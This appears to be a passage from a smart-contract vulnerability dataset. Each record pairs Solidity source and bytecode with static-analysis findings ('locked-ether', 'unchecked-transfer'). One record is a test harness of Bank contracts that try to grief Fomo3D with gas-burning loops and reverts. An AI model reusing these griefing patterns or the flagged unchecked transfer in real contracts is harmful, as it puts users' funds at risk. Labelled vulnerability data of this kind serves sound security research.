depositSuccessful_ = false;
gasAfter_ = gasleft();
} else {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
}
}
// some fomo3d function that deposits to Forwarder
function someFunction4()
public
payable
{
// grab gas left
gasBefore_ = gasleft();
// deposit to forwarder, uses low level call so forwards all gas
if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit4()"))))
{
// give fomo3d work to do that needs gas. what better way than storage
// write calls, since their so costly.
depositSuccessful_ = false;
gasAfter_ = gasleft();
} else {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
}
}
// for data tracking lets make a function to check this contracts balance
function checkBalance()
public
view
returns(uint256)
{
return(address(this).balance);
}
}
// heres a sample forwarder with a copy of the jekyll island forwarder (requirements on
// msg.sender removed for simplicity since its irrelevant to testing this. and some
// tracking vars added for test.)
// this is deployed on mainnet at: 0x8F59323d8400CC0deE71ee91f92961989D508160
contract Forwarder {
// lets create some tracking vars
bool public depositSuccessful_;
uint256 public successfulTransactions_;
uint256 public gasBefore_;
uint256 public gasAfter_;
// create an instance of the jekyll island bank
Bank currentCorpBank_;
// take an address in the constructor arguments to set up bank with
constructor(address _addr)
public
{
// point the created instance to the address given
currentCorpBank_ = Bank(_addr);
}
function deposit()
public
payable
returns(bool)
{
// grab gas at start
gasBefore_ = gasleft();
if (currentCorpBank_.deposit.value(msg.value)(msg.sender) == true) {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
return(true);
} else {
depositSuccessful_ = false;
gasAfter_ = gasleft();
return(false);
}
}
function deposit2()
public
payable
returns(bool)
{
// grab gas at start
gasBefore_ = gasleft();
if (currentCorpBank_.deposit2.value(msg.value)(msg.sender) == true) {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
return(true);
} else {
depositSuccessful_ = false;
gasAfter_ = gasleft();
return(false);
}
}
function deposit3()
public
payable
returns(bool)
{
// grab gas at start
gasBefore_ = gasleft();
if (currentCorpBank_.deposit3.value(msg.value)(msg.sender) == true) {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
return(true);
} else {
depositSuccessful_ = false;
gasAfter_ = gasleft();
return(false);
}
}
function deposit4()
public
payable
returns(bool)
{
// grab gas at start
gasBefore_ = gasleft();
if (currentCorpBank_.deposit4.value(msg.value)(msg.sender) == true) {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
return(true);
} else {
depositSuccessful_ = false;
gasAfter_ = gasleft();
return(false);
}
}
// for data tracking lets make a function to check this contracts balance
function checkBalance()
public
view
returns(uint256)
{
return(address(this).balance);
}
}
// heres the bank with various ways someone could try and migrate to a bank that
// screws the tx. to show none of them effect fomo3d.
// this is deployed on mainnet at: 0x0C2DBC98581e553C4E978Dd699571a5DED408a4F
contract Bank {
// lets use storage writes to this to burn up all gas
uint256 public i = 1000000;
uint256 public x;
address public fomo3d;
/**
* this version will use up most gas. but return just enough to make it back
* to fomo3d. yet not enough for fomo3d to finish its execution (according to
* the theory of the exploit. which when you run this you'll find due to my
* use of ! in the call from fomo3d to forwarder, and the use of a normal function
* call from forwarder to bank, this fails to stop fomo3d from continuing)
*/
function deposit(address _fomo3daddress)
external
payable
returns(bool)
{
// burn all gas leaving just enough to get back to fomo3d and it to do
// a write call in a attempt to make Fomo3d OOG (doesn't work cause fomo3d
// protects itself from this behavior)
while (i > 41000)
{
i = gasleft();
}
return(true);
}
/**
* this version just tries a plain revert. (pssst... fomo3d doesn't care)
*/
function deposit2(address _fomo3daddress)
external
payable
returns(bool)
{
// straight up revert (since we use low level call in fomo3d it doesn't
// care if we revert the internal tx to bank. this behavior would only
// screw over team just, not effect fomo3d)
revert();
}
/**
* this one tries an infinite loop (another fail. fomo3d trudges on)
*/
function deposit3(address _fomo3daddress)
external
payable
returns(bool)
{
// this infinite loop still does not stop fomo3d from running.
while(1 == 1) {
x++;
fomo3d = _fomo3daddress;
}
return(true);
}
/**
* this one just runs a set length loops that OOG's (and.. again.. fomo3d still works)
*/
function deposit4(address _fomo3daddress)
public
payable
returns(bool)
{
// burn all gas (fomo3d still keeps going)
for (uint256 i = 0; i <= 1000; i++)
{
x++;
fomo3d = _fomo3daddress;
}
}
// for data tracking lets make a function to check this contracts balance
function checkBalance()
public
view
returns(uint256)
{
return(address(this).balance);
}
}
|
0x60806040526004361061007f5763ffffffff60e060020a600035041663030cc11881146100845780630a3c34fb146100ad57806335b09a6e146100d457806344e880c1146100de57806385439f82146100f35780639d408b93146100fb5780639ef45a3114610110578063acddbe1c14610118578063c71daccb14610120575b600080fd5b34801561009057600080fd5b50610099610135565b604080519115158252519081900360200190f35b3480156100b957600080fd5b506100c261013e565b60408051918252519081900360200190f35b6100dc610144565b005b3480156100ea57600080fd5b506100c2610200565b6100dc610206565b34801561010757600080fd5b506100c26102a5565b6100dc6102ab565b6100dc61034a565b34801561012c57600080fd5b506100c26103e9565b60005460ff1681565b60015481565b5a60025560048054604080517f6465706f736974282900000000000000000000000000000000000000000000008152815190819003600901812063ffffffff60e060020a918290049081169091028252915173ffffffffffffffffffffffffffffffffffffffff9093169391923492828101926000929190829003018185885af1935050505015156101e3576000805460ff191690555a6003556101fe565b6000805460ff191660019081179091558054810190555a6003555b565b60035481565b5a60025560048054604080517f6465706f736974342829000000000000000000000000000000000000000000008152815190819003600a01812063ffffffff60e060020a918290049081169091028252915173ffffffffffffffffffffffffffffffffffffffff9093169391923492828101926000929190829003018185885af1935050505015156101e3576000805460ff191690555a6003556101fe565b60025481565b5a60025560048054604080517f6465706f736974322829000000000000000000000000000000000000000000008152815190819003600a01812063ffffffff60e060020a918290049081169091028252915173ffffffffffffffffffffffffffffffffffffffff9093169391923492828101926000929190829003018185885af1935050505015156101e3576000805460ff191690555a6003556101fe565b5a60025560048054604080517f6465706f736974332829000000000000000000000000000000000000000000008152815190819003600a01812063ffffffff60e060020a918290049081169091028252915173ffffffffffffffffffffffffffffffffffffffff9093169391923492828101926000929190829003018185885af1935050505015156101e3576000805460ff191690555a6003556101fe565b3031905600a165627a7a72305820758275ef6140d509bf1d1c38cccc28abb55c0dfdf2bb70a7ea5a21498c55baae0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,107 |
0xf9b8986790f34d5147bf831d0bbc739986b36dd6
|
pragma solidity ^0.4.17;
// File: contracts\helpers\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Constructor sets the original owner of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any other account other than owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts\helpers\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\token\ERC20Interface.sol
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
}
// File: contracts\token\BaseToken.sol
contract BaseToken is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Obtain total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts\token\MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is BaseToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts\token\CappedToken.sol
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: contracts\ZitKOIN.sol
contract ZitKOIN is CappedToken {
string public name = 'ZitKO.IN';
string public symbol = 'XZT';
uint256 public decimals = 18;
// 1 Billion
uint256 public maxSupply = 1000000000 * 10**decimals;
function ZitKOIN()
CappedToken(maxSupply) public {
}
// @dev Recover any mistakenly sent ERC20 tokens to the Token address
function recoverERC20Tokens(address _erc20, uint256 _amount) public onlyOwner {
ERC20Interface(_erc20).transfer(msg.sender, _amount);
}
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde0314610139578063095ea7b3146101c757806318160ddd1461022157806323b872dd1461024a578063313ce567146102c3578063355274ea146102ec57806340c10f1914610315578063661884631461036f57806370a08231146103c95780637d64bcb4146104165780638da5cb5b1461044357806395d89b4114610498578063a9059cbb14610526578063b6cba7eb14610580578063d5abeb01146105c2578063d73dd623146105eb578063dd62ed3e14610645578063f2fde38b146106b1575b600080fd5b341561011757600080fd5b61011f6106ea565b604051808215151515815260200191505060405180910390f35b341561014457600080fd5b61014c6106fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610207600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061079b565b604051808215151515815260200191505060405180910390f35b341561022c57600080fd5b6102346108c8565b6040518082815260200191505060405180910390f35b341561025557600080fd5b6102a9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108d2565b604051808215151515815260200191505060405180910390f35b34156102ce57600080fd5b6102d6610c8c565b6040518082815260200191505060405180910390f35b34156102f757600080fd5b6102ff610c92565b6040518082815260200191505060405180910390f35b341561032057600080fd5b610355600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c98565b604051808215151515815260200191505060405180910390f35b341561037a57600080fd5b6103af600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d49565b604051808215151515815260200191505060405180910390f35b34156103d457600080fd5b610400600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fda565b6040518082815260200191505060405180910390f35b341561042157600080fd5b610429611022565b604051808215151515815260200191505060405180910390f35b341561044e57600080fd5b6104566110ea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104a357600080fd5b6104ab611110565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104eb5780820151818401526020810190506104d0565b50505050905090810190601f1680156105185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561053157600080fd5b610566600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111ae565b604051808215151515815260200191505060405180910390f35b341561058b57600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113cd565b005b34156105cd57600080fd5b6105d56114f4565b6040518082815260200191505060405180910390f35b34156105f657600080fd5b61062b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114fa565b604051808215151515815260200191505060405180910390f35b341561065057600080fd5b61069b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116f6565b6040518082815260200191505060405180910390f35b34156106bc57600080fd5b6106e8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061177d565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107935780601f1061076857610100808354040283529160200191610793565b820191906000526020600020905b81548152906001019060200180831161077657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107d857600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561090f57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561095c57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109e757600080fd5b610a38826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610acb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b9c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf657600080fd5b600360149054906101000a900460ff16151515610d1257600080fd5b600454610d2a836002546118ee90919063ffffffff16565b11151515610d3757600080fd5b610d41838361190c565b905092915050565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e5a576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eee565b610e6d83826118d590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108057600080fd5b600360149054906101000a900460ff1615151561109c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111a65780601f1061117b576101008083540402835291602001916111a6565b820191906000526020600020905b81548152906001019060200180831161118957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111eb57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561123857600080fd5b611289826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561142957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156114d457600080fd5b6102c65a03f115156114e557600080fd5b50505060405180519050505050565b60085481565b600061158b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ee90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117d957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561181557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156118e357fe5b818303905092915050565b600080828401905083811015151561190257fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196a57600080fd5b600360149054906101000a900460ff1615151561198657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119c257600080fd5b6119d7826002546118ee90919063ffffffff16565b600281905550611a2e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058201984679d25bea49c829958bb2bc133586fc2959a8a730d99e98b7680a82d92c10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,108 |
0x00c300c5ae4734abc8b19b71bb2f5f03e829dd4c
|
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
